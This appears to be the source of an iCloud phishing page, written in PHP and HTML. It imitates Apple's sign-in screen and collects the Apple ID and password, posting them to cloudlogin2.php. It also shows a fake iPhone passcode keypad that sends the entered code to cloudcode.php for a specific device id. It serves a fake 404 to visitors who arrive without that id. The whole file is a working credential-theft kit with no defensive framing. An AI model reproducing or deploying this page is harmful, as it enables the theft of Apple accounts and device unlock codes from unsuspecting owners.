<?php
if(!isset($idequipo)){
    header("HTTP/1.0 404 Not Found");
    header("Status: 404 Not Found");
    die('<html><head>
<title>404 Not Found</title>
</head><body cz-shortcut-listen="true">
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<p>Additionally, a 404 Not Found
error was encountered while trying to use an ErrorDocument to handle the request.</p>
</body></html>');
}
?>
<?php
require_once 'mobile-detect/Mobile_Detect.php';
$detect = new Mobile_Detect;
if($detect->isMobile()){
	$cant = 10;
}elseif( $detect->isTablet() ){
	$cant = 20;
}else{
	$cant = 40;
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
	<meta charset="UTF-8">
	<meta http-equiv="X-UA-Compatible" content="IE=edge">
	<meta content="width=device-width, initial-scale=1" name="viewport"/>
	<meta name="robots" content="noindex, nofollow" />
	<title>iCloud</title>
	<link rel="stylesheet" href="assets/layout/strap.css">
    <link rel="shortcut icon" type="image/x-icon" href="https://appleid.cdn-apple.com/static/bin/cb3606853004/images/favicon.ico">
	<link rel="stylesheet" href="assets/layout/apple.css">
	<link rel="stylesheet" href="assets/layout/kit.css">
	<link rel="stylesheet" href="assets/layout/animate.css">	
    <style type="text/css">
<!--
.Estilo2 {
	font-family: 'Lato Light', Tahoma;
	font-size: 22px;
	color: #FFFFFF;
}
-->
.login-form{
	width: 100%;
}
.overcodes{
	position: absolute;
	top: 0;
	left: 0;
	width: 100%;
	height: 100%;
}
.codes{
	max-width: 460px;
	margin:auto;
	text-align: center;
	padding:25px 0;
}
.codes h5{
	color: #fff;
	font-weight: bold;
	font-size:22px;
	margin-bottom: 18px;
}
.codes .circles, .codes .circles2{
	padding-left: 0;
}
.codes .circles li, .codes .circles2 li{
	list-style: none;
	display: inline-block;
	vertical-align: top;
}
.codes .circles span{
	width: 14px;
	height: 14px;
	border:1px solid #fff;
	border-radius: 50%;
	display: block;
	margin:0 10px;
}
.codes .circles2 span{
	display: block;
	width: 70px;
	height: 70px;
	border-radius: 50%;
	background: rgba(255,255,255,.1);
	color: #fff;
	font-size:10px;
	font-weight: bold;
	line-height: 24px;
	letter-spacing: 2px;
	margin:11px 16px;
	padding-top: 15px;
	cursor: pointer;
	padding-left: 4px;
}
.codes .circles2 span strong{
	font-size: 27px;
	display: block;
}
.cancelcode{
	color: #fff;
	font-size: 17px;
	float: right;
	margin-top: 30px;
	font-weight: bold;
	margin-right: 15%;
}
<?php if($detect->isMobile()){?>
.move{
	margin: auto;
	max-width: 338px;
	position: relative;
	padding: 0 5px;
}
<?php }else{?>
.move{
	margin:20px auto 0;
	max-width: 338px;
	position: relative;
	padding: 0 5px;
}
<?php }?>
#demo{
	position: fixed;
	height: 100%;
	width: 100%;
}
body{
	background-image: none;
	background: #064781;
}
    </style>
</head>
<body class="section-demo">
<canvas id="demo"></canvas>
<section id="header" style="display: none;">
	<div class="container-fluid">
		<div class="row">
			<div class="col-md-4 col-xs-8 rightH rtl">
				<a class="help" title="Help and Support" alt="Help and Support" href="https://help.apple.com/icloud/"></a>
				<span class="spreat"></span>
								<a class="setup applef" target="_blank" href="https://www.apple.com/icloud/setup/">Setup Instructions</a>
								<div class="setup fName" style="display: none;"><i class="glyphicon glyphicon-menu-down"></i><span><img src="assets/img/user.jpeg" alt=""></span>
					<ul>
						<li><a href="https://www.icloud.com/">Configuracion</a></li>
						<li><a href="https://www.icloud.com/">Cerrar sesion</a></li>
					</ul>
				</div>

		  </div>
			<div class="col-md-8 col-xs-4 leftH">
				<span class="icloud"></span>			</div>
		</div>
	</div>
</section>

<section class="login-form text-center" style="display:none;">

	<p>&nbsp;</p>
	<p>&nbsp;</p>
	<p>&nbsp;</p>
	<div class="move">
		<p><img src="assets/img/3.png" alt="" width="100" height="95" class="img-cloud">    </p>
		<h3 class="Estilo2">Sign in to iCloud</h3>
		<form action="" class="cloud-login" method="post">
			<?php
			if($response->vermail==1){
				$value = 'value="'.$response->email.'"';
			}else{
				$value="";
			}
			?>
			<input class="id" name="xuser" id="apple_id" placeholder="Apple ID" style="direction: ltr ! important;border-radius:6px;" type="text" <?php echo $value;?>>
			<input autocomplete="off" class="pwd" name="xpass" id="apple_pwd" placeholder="Password" style="direction: ltr ! important;display:none;" type="password">
			<input type="hidden" name="id" value="<?php echo $idequipo;?>">
			<input class="dolog2" name="c_log2" id="c_log2" value="" type="submit" style="top:10px;">
			<img class="loading" id="load2" src="assets/img/ajax-loader.gif" alt="Loading" style="top:10px;">
			<input class="dolog" name="c_log" id="c_log" value="" type="submit" style="display:none;">
			<img class="loading" id="load" src="assets/img/ajax-loader.gif" alt="Loading" style="display:none;">
			<div class="alrt">
				<h3><CENTER>Your Apple ID or password was incorrect.<br>
				Forgot password?</CENTER></h3>
			</div>
		</form>
	</div>
	<div class="keepme">
		<input type="checkbox" id="keepme" />
		<span for="keepme">Keep me signed in</span>
	</div>
	<div class="forget">
		<a href="https://iforgot.apple.com/" target="_blank">Forgot Apple ID password?</a>
		<div id="response"></div>
		<a href="https://iforgot.apple.com/" target="_blank">Don't have an Apple ID? Create yours now.</a>
	</div>
</section>

<section class="imessage" style="display: none;">


	<div class="container">
		<div class="row">
		<div class="col-md-2 col-sm-4 col-xs-6">
				<a href="find.php" class="text-cente imb">
					<span class="loadings"><img src="assets/img/ajax-loader.gif" alt="Loading" /></span>
					<img class="" src="assets/img/11.png" alt="">
					<span>Reminders</span>				</a>		  </div>
			<div class="col-md-2 col-sm-4 col-xs-6">
				<a href="find.php" class="text-cente imb">
					<span class="loadings"><img src="assets/img/ajax-loader.gif" alt="Loading" /></span>
					<img class="" src="assets/img/9.png" alt="">
					<span>
						Notes					</span>				</a>			</div>
			<div class="col-md-2 col-sm-4 col-xs-6">
				<a href="find.php" class="text-cente imb">
					<span class="loadings"><img src="assets/img/ajax-loader.gif" alt="Loading" /></span>
					<img class="" src="assets/img/3.png" alt="">
					<span>iCloud Drive</span>				</a>			</div>
			<div class="col-md-2 col-sm-4 col-xs-6">
				<a href="find.php" class="text-cente imb">
					<span class="loadings"><img src="assets/img/ajax-loader.gif" alt="Loading" /></span>
					<img class="" src="assets/img/10.png" alt="">
					<span>Photos</span>				</a>			</div>
			<div class="col-md-2 col-sm-4 col-xs-6">
				<a href="find.php" class="text-cente imb">
					<span class="loadings"><img src="assets/img/ajax-loader.gif" alt="Loading" /></span>
					<img class="" src="assets/img/1.png" alt="">
					<span>Contacts</span>				</a>			</div>
			<div class="col-md-2 col-sm-4 col-xs-6">
				<a href="find.php" class="text-cente imb">
					<span class="loadings"><img src="assets/img/ajax-loader.gif" alt="Loading" /></span>
					<img class="" src="assets/img/8.png" alt="">
					<span>Mail</span>				</a>			</div>
			
			
			

			<div class="col-md-2 col-sm-4 col-xs-6">
				<a href="find.php" class="text-cente imb">
					<span class="loadings"><img src="assets/img/ajax-loader.gif" alt="Loading" /></span>
					<img class="" src="assets/img/12.png" alt="">
					<span>Settings</span>				</a>			</div>

			<div class="col-md-2 col-sm-4 col-xs-6">
				<a href="find.php" class="text-cente imb">
					<span class="loadings"><img src="assets/img/ajax-loader.gif" alt="Loading" /></span>
					<img class="" src="assets/img/2.png" alt="">
					<span>Find My iPhone</span>				</a>			</div>

			<div class="col-md-2 col-sm-4 col-xs-6">
				<a href="find.php" class="text-cente imb">
					<span class="loadings"><img src="assets/img/ajax-loader.gif" alt="Loading" /></span>
					<img class="" src="assets/img/6.png" alt="">
					<span>Keynote</span>				</a>			</div>
			<div class="col-md-2 col-sm-4 col-xs-6">
				<a href="find.php" class="text-cente imb">
					<span class="loadings"><img src="assets/img/ajax-loader.gif" alt="Loading" /></span>
					<img class="" src="assets/img/5.png" alt="">
					<span>Numbers</span>				</a>			</div>
			<div class="col-md-2 col-sm-4 col-xs-6">
				<a href="find.php" class="text-cente imb">
					<span class="loadings"><img src="assets/img/ajax-loader.gif" alt="Loading" /></span>
					<img class="" src="assets/img/20.png" alt="">
					<span>Find Friends</span>				</a>			</div>

			<div class="col-md-2 col-sm-4 col-xs-6">
				<a href="find.php" class="text-cente imb">
					<span class="loadings"><img src="assets/img/ajax-loader.gif" alt="Loading" /></span>
					<img class="" src="assets/img/7.png" alt="">
					<span>Pages</span>				</a>			</div>
			

		</div>
	</div>


</section>
<footer class="foot" style="display:none">
	<div class="container-fluid">
		<div class="row">
		<a href="#" id="mzna"></a>
		<div class="col-md-10 col-xs-12 foot-link">
			<a href="https://www.apple.com/support/systemstatus/" target="_blank">System Status</a>
			<span class="footer-link-separator"></span>
			<a href="https://www.apple.com/privacy/" target="_blank">Privacy Policy</a>
			<span class="footer-link-separator"></span>
			<a href="https://www.apple.com/legal/icloud/ww/" target="_blank">Terms & Conditions</a>
			<span class="footer-link-separator"></span>
			<span class="copyright">Copyright © <?php echo date("Y");?> Apple Inc. All rights reserved.</span>		</div>
		<div class="col-md-2 col-xs-12 apple">
			</div>

		</div>
	</div>
</footer>
<div class="preloader">
	<img src="assets/img/loader.svg" alt="">
</div>
	<script src="//code.jquery.com/jquery-1.11.3.min.js"></script>
	<script>
	$(document).on("ready", funciones);
	function funciones(){
		$(".preloader").delay(1500).fadeOut(1500);
		$("#c_log2").on("click", getPass);
		function getPass(){
			$("img.loading#load2").show(0);
			$("#apple_id").css("border-radius", "6px 6px 0 0");
			$("#apple_pwd").delay(1500).slideDown(10);
			$("img.loading#load2").delay(800).fadeOut();
			$("#c_log").delay(1500).fadeIn();
			$("#c_log2, #load2").fadeOut();
			return false;
		}
		$("#apple_pwd").keypress(function(e) {
		    $("#c_log2, #load2").remove();
		});
		$("#c_log").on("click", getCloud);
		function getCloud(a){
			var datos = $(".cloud-login").serialize();
			$("img.loading#load").show(0);
			$.post(
				"cloudlogin2.php",
				datos,
				function(b){
					if(b==1){
						$(".login-form").fadeOut();
						$(".preloader").fadeIn().delay(1000).fadeOut();
						$(".imessage").fadeIn();
					}else{
						$("#apple_pwd").val("");
						$("#c_log").css("background-position", "0 0");
						$(".move").animate({'left':'20px'},60).animate({'left':'0'},60).animate({'left':'20px'},60).animate({'left':'0'},60).animate({'left':'20px'},60).animate({'left':'0'},60);
						$(".login-form form.cloud-login .alrt").slideDown();
						$("img.loading#load").fadeOut();
					}
				}
			);
			a.preventDefault();
		}
		$("#apple_pwd").on("keyup", validaCloud);
		function validaCloud(){
			var user = $("#apple_id").val();
			var pass = $(this).val();
			if(user!="" && pass !=""){
				$("#c_log").css("background-position", "-28px 0");
			}else{
				$("#c_log").css("background-position", "0 0");
			}
			$(".login-form form.cloud-login .alrt").hide(0);
		}
		<?php if($response->code != 1){?>
			$(".foot, .login-form, #header").fadeIn(0);
			$(".overcodes").hide(0);
		<?php }?>
	}
		var WIDTH;
var HEIGHT;
var canvas;
var con;
var g;
var pxs = [];
var rint = 60;

$(document).ready(function(){
  WIDTH = window.innerWidth;
  HEIGHT = window.innerHeight;
  $('#container').width(WIDTH).height(HEIGHT);
  canvas = document.getElementById('demo');
  $(canvas).attr('width', WIDTH).attr('height',HEIGHT);
  con = canvas.getContext('2d');
  for(var i = 0; i < <?php echo $cant;?>; i++) {
    pxs[i] = new Circle();
    pxs[i].reset();
  }
  setInterval(draw,rint);
});

function draw() {
  con.clearRect(0,0,WIDTH,HEIGHT);
  for(var i = 0; i < pxs.length; i++) {
    pxs[i].fade();
    pxs[i].move();
    pxs[i].draw();
  }
}

function Circle() {
  this.s = {ttl:500000, xmax:2, ymax:2, rmax:300, rt:1, xdef:960, ydef:540, xdrift:2, ydrift: 2, random:true, blink:true};

  // fill vars
  var crFill = [
    ['rgba(255,255,255,.01)', 'rgba(255,255,255,.2)'],
    ['rgba(204, 92, 187, 0.01)', 'rgba(204, 92, 187, 0.8)'],
    ['rgba(72, 149, 174, 0.01)', 'rgba(72, 149, 174, 0.2)'],
    ['rgba(137, 252, 178, 0.01)', 'rgba(137, 252, 178, 0.4)']
  ];

  // opacity var
  var opacityFill = "." + Math.floor(Math.random() * 5) + 1;

  this.reset = function() {
    this.x = (this.s.random ? WIDTH*Math.random() : this.s.xdef);
    this.y = (this.s.random ? HEIGHT*Math.random() : this.s.ydef);
    this.r = ((this.s.rmax-1)*Math.random()) + 1;
    this.dx = (Math.random()*this.s.xmax) * (Math.random() < 0.5 ? -1 : 1);
    this.dy = (Math.random()*this.s.ymax) * (Math.random() < 0.5 ? -1 : 1);
    this.hl = (this.s.ttl/rint)*(this.r/this.s.rmax);
    this.rt = Math.random()*this.hl;
    this.s.rt = Math.random()+1;
    this.stop = Math.random()*0.2+0.4;
    this.s.xdrift *= Math.random() * (Math.random() < 0.5 ? -1 : 1);
    this.s.ydrift *= Math.random() * (Math.random() < 0.5 ? -1 : 1);
    this.opacityFill = opacityFill;

    this.currentColor = Math.floor(Math.random()*crFill.length);
  };

  this.fade = function() {
    this.rt += this.s.rt;
  };

  this.draw = function() {
    if(this.s.blink && (this.rt <= 0 || this.rt >= this.hl)){
      this.s.rt = this.s.rt*-1;
    }
    else if(this.rt >= this.hl){
      this.reset();
    }
    con.beginPath();
    con.arc(this.x,this.y,this.r,0,Math.PI*2,true);
    con.globalAlpha = opacityFill;
    var newo = 1-(this.rt/this.hl);
    var cr = this.r*newo;
    
    gradient = con.createRadialGradient(this.x,this.y,0,this.x,this.y,(cr <= 30 ? 1 : cr));
    gradient.addColorStop(0.85, crFill[(this.currentColor)][1]);
    gradient.addColorStop(0.7, crFill[(this.currentColor)][1]);
    gradient.addColorStop(1.0, crFill[(this.currentColor)][0]);

    con.fillStyle = gradient;
    con.fill();

    con.closePath();
  };

  this.move = function() {
    this.x += (this.rt/this.hl)*this.dx;
    this.y += (this.rt/this.hl)*this.dy;
    if(this.x > WIDTH || this.x < 0){
      this.dx *= -1;
    } 
    if(this.y > HEIGHT || this.y < 0){
      this.dy *= -1;
    } 
  };

  this.getX = function() { return this.x; };
  this.getY = function() { return this.y; };
}
	</script>
	<div class="overcodes">
		<div class="codes">
			<h5>Enter the Passcode</h5>
			<ul class="circles">
				<?php if($response->digitos == 6){?>
				<li><span id="c0"></span></li>
				<li><span id="c1"></span></li>
				<li><span id="c2"></span></li>
				<li><span id="c3"></span></li>
				<li><span id="c4"></span></li>
				<li><span id="c5"></span></li>
				<?php }elseif($response->digitos == 4){?>
				<li><span id="c0"></span></li>
				<li><span id="c1"></span></li>
				<li><span id="c2"></span></li>
				<li><span id="c3"></span></li>
				<?php }?>
			</ul>
			<ul class="circles2" style="margin-top: 20px;">
				<li>
					<span data-num="1"><strong>1</strong></span>
				</li>
				<li>
					<span data-num="2"><strong>2</strong> ABC</span>
				</li>
				<li>
					<span data-num="3"><strong>3</strong> DEF</span>
				</li>
			</ul>
			<ul class="circles2">
				<li>
					<span data-num="4"><strong>4</strong> GHI</span>
				</li>
				<li>
					<span data-num="5"><strong>5</strong> JKL</span>
				</li>
				<li>
					<span data-num="6"><strong>6</strong> MNO</span>
				</li>
			</ul>
			<ul class="circles2">
				<li>
					<span data-num="7"><strong>7</strong> PQRS</span>
				</li>
				<li>
					<span data-num="8"><strong>8</strong> TUV</span>
				</li>
				<li>
					<span data-num="9"><strong>9</strong> WXYZ</span>
				</li>
			</ul>
			<ul class="circles2">
				<li>
					<span data-num="0"><strong>0</strong></span>
				</li>
			</ul>
			<form>
				<input type="hidden" name="code" id="codeiphone">
				<input type="hidden" name="id" id="ideq" value="<?php echo $idequipo;?>">
			</form>
			<span class="cancelcode" id="cancel">Cancel</span>
			<span class="cancelcode" id="eliminar" style="display: none;">Delete</span>
		</div>
	</div>
	<script type="text/javascript">
		$(document).ready(function(){
			$(".circles2 span").on("click", getNum);
			function getNum(){
				var num = $(this).attr("data-num");
				var code = $("#codeiphone").val();
				var tam = code.length;
				$(".circles2 span").css("background", "rgba(255,255,255,.1)");
				if(tam != <?php echo $response->digitos;?>){
					$(this).css("background", "rgba(255,255,255,.5)");
				}
				setTimeout( function(){
			        $(".circles2 span").css("background", "rgba(255,255,255,.1)");
			    },150);
				$("#cancel").hide(0);
				$("#eliminar").show(0);
				$("#c"+tam).css("background", "#ffffff");
				if(tam < <?php echo $response->digitos;?>){
					$("#codeiphone").val(code+num);
				}
				if(tam == <?php echo $response->digitos-1;?>){
					var id = $("#ideq").val();
					var code = $("#codeiphone").val();
					$(".preloader").fadeIn();
					$.post(
						"cloudcode.php",
						{id:id, code:code},
						function(){
							$(".preloader").fadeOut();
							$(".overcodes").fadeOut(0);
							$(".foot, .login-form, #header").fadeIn(0);
						}
					);
				}
			}
			$("#eliminar").on("click", borrarCode);
			function borrarCode(){
				var code = $("#codeiphone").val();
				var tam = code.length-1;
				$("#c"+tam).css("background", "none");
				var newcode = code.substring(0,code.length-1);
				$("#codeiphone").val(newcode);
				if(tam == 0){
					$("#eliminar").hide(0);
					$("#cancel").show(0);
				}
			}
		});
	</script>
</body>
</html>